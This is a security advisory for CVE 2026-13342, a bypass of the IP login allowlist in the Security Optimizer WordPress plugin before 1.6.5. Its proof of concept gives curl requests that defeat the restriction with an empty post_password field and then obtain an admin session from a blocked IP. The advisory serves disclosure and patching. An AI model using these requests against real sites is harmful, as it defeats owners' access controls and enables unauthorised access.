Security Optimizer – The All-In-One Protection Plugin < 1.6.5 – Login Access IP Allowlist Bypass via post_password | CVE 2026-13342

Description

The plugin does not correctly validate requests to its optional IP-based login restriction feature, allowing the restriction to be bypassed so that unauthenticated requests from non-allowlisted IP addresses can reach and use the login form, defeating the access control the administrator configured.

Proof of Concept

Tested on a clean WordPress 6.x install, sg-security 1.6.2, no other plugins.

# 1) Enable the plugin's "Login Access" feature with an allowlist that does NOT include the tester's IP (admin UI: Security Optimizer -> Login Security  -> Login Access; or WP-CLI):

wp plugin install sg-security --version=1.6.2 --activate

wp eval 'update_option("sg_login_access", array("8.8.8.8"));'

# 2) CONTROL — a normal request from your (non-allowlisted) IP is blocked:

curl -s -o /dev/null -w "control: HTTP %{http_code}\n" http://TARGET/wp-login.php

#   => control: HTTP 403

# 3) BYPASS (no credentials needed) — add one empty post_password field; the IP allowlist is skipped and wp-login.php is reachable again from the blocked IP:

curl -s -o /dev/null -w "bypass:  HTTP %{http_code}\n" -d "post_password=" http://TARGET/wp-login.php

#   => bypass:  HTTP 200   (login page served from the blocked IP — restriction bypassed)

# 4) FULL IMPACT — same bypass with valid admin credentials yields an authenticated session from the blocked IP (substitute your admin password):

curl -s -i -c cookies.txt -b "wordpress_test_cookie=WP+Cookie+check" --data "post_password=&log=admin&pwd=YOUR_ADMIN_PASSWORD&wp-submit=Log+In&testcookie=1" http://TARGET/wp-login.php | grep -iE "^HTTP/|wordpress_logged_in"

#   => HTTP/1.1 302 Found
#      Set-Cookie: wordpress_logged_in_<hash>=...

# The IP-based "Login Access" control (403 in step 2) is fully bypassed by the post_password field: step 3 reaches the login page and step 4 establishes a full session, both from an IP explicitly excluded from the allowlist.